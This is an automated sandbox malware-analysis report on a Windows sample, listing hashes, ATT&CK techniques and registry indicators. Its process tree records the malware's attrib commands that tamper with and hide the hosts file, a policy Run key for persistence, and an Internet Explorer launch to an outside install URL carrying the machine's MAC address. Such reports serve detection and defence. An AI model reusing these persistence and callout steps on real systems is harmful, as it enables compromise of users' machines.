4ea704d6b372cfe702c23aa22a53203dccc51fe2dd5a39c072c05b51f48a8a31

Analysis

max time kernel
150s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
11/08/2024, 20:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
Size

503KB
MD5

8be7124a1256617766fcc2fa45f3190b
SHA1

3825ab8ee89b8bbfc17429ffee2c55ca6d9f9fe9
SHA256

4ea704d6b372cfe702c23aa22a53203dccc51fe2dd5a39c072c05b51f48a8a31
SHA512

33d5786b0743c0017525a8130428d87a70423658067cb7bdca0841de1126eb2d644dc1409bb3ffe59a4176074d0b560a4516cf5f7933279ea683bf70668834aa
SSDEEP

12288:yBzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz6:Azzzzzzzzzzzzzzzzzzzzzzzzzzzzzzm

Score

8^/10

discovery evasion persistence

Malware Config

Signatures

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\gem = "C:\\Users\\Admin\\AppData\\Local\\Temp\\8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe"	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
4340	attrib.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\win.ini	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe

Modifies Internet Explorer settings 1 TTPs 29 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2132026322"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2132026322"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31124527"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0039c7f2fecda01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31124527"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c092997f2fecda01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{AAC3AB83-5822-11EF-AC6B-F60A6DD2E828} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000ea125702b7698d479b1c3c8e0190d45f0000000002000000000010660000000100002000000003fbbcbe20d9f7ff3e6a564b17fc445df69f510cbe6690fe1dd10f851be22ffe000000000e8000000002000020000000f2c18462b909be82513646124dd707a70d7fc6d1ff146c65586400847d464f8e200000007d11a644691aeb216e008a57172e040fd4da3f43cec8848c90a0900b80aafb4d40000000592ba71792c20d54b17e9834d5ed1f5afca3b9dc8151d2e44a531d717745dabe6427a10a44b54d26ca1108e5f48a15e04e1a62d3388a9c93dd33aecce9f9773a	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000ea125702b7698d479b1c3c8e0190d45f00000000020000000000106600000001000020000000bdec91d15fa156830a09832c1c7d50137f7c1f4ff48c7b867debd6089859dc79000000000e80000000020000200000008d54a2783adf4ec01e1ba14a915c6cd6bec1d4205144398dacd0cb286cd81d49200000006a40c18838e3476cd24bbb98bd9bfcc1de2c9d2f2766779e4b28aadf7a1bbae34000000074014d7a22d8e5024d545636521aaf2923729c2635b5109ad02ab5804a72fd236419559dc51c2fb98dc336b299ad241458fed63aa6239b9fdc931daf23f77390	iexplore.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: 33	1092	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1092	AUDIODG.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4400	iexplore.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4400	iexplore.exe
4400	iexplore.exe
2996	IEXPLORE.EXE
2996	IEXPLORE.EXE
2996	IEXPLORE.EXE
2996	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2792 wrote to memory of 320	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	87
PID 2792 wrote to memory of 320	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	87
PID 2792 wrote to memory of 320	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	87
PID 2792 wrote to memory of 4340	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	93
PID 2792 wrote to memory of 4340	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	93
PID 2792 wrote to memory of 4340	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	93
PID 2792 wrote to memory of 4400	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	102
PID 2792 wrote to memory of 4400	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	102
PID 4400 wrote to memory of 2996	4400	iexplore.exe	103
PID 4400 wrote to memory of 2996	4400	iexplore.exe	103
PID 4400 wrote to memory of 2996	4400	iexplore.exe	103
PID 2792 wrote to memory of 3412	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	56
PID 2792 wrote to memory of 3412	2792	8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe	56

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
320	attrib.exe
4340	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3412
- C:\Users\Admin\AppData\Local\Temp\8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\8be7124a1256617766fcc2fa45f3190b_JaffaCakes118.exe"
  2⤵
  - Adds policy Run key to start application
  - Drops file in Drivers directory
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\SysWOW64\attrib.exe
    attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:320
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4340
- - C:\program files\internet explorer\iexplore.exe
    "C:\program files\internet explorer\iexplore.exe" "http://www.qqoif.cn/vip/install.asp?ver=081211&tgid=yun10&address=F6-0A-6D-D2-E8-28&regk=1&flag=7bcdc490eabb9c9ee65e4414f903dc02&frandom=5267"
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4400
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4400 CREDAT:17410 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2996

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4f0 0x4f8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\~DF4E8E65E43FD74121.TMP

Filesize
16KB

MD5
0a0a8043b43b2e8915423ea7cefe66b1

SHA1
8192a20712ad334a7d55f7964e421f506052d24b

SHA256
5bc466a368b022ec32466a573a99cc40ee74087a139e1f49b78bce829583591d

SHA512
71a57d55799c3b52652d3d78280424c0d62d6643dcc987554b71785cf2a1856dde04638968cc38a48c7f0fef54ca49ee231f182fd558803016a216a7fb7ac99f

Download Submit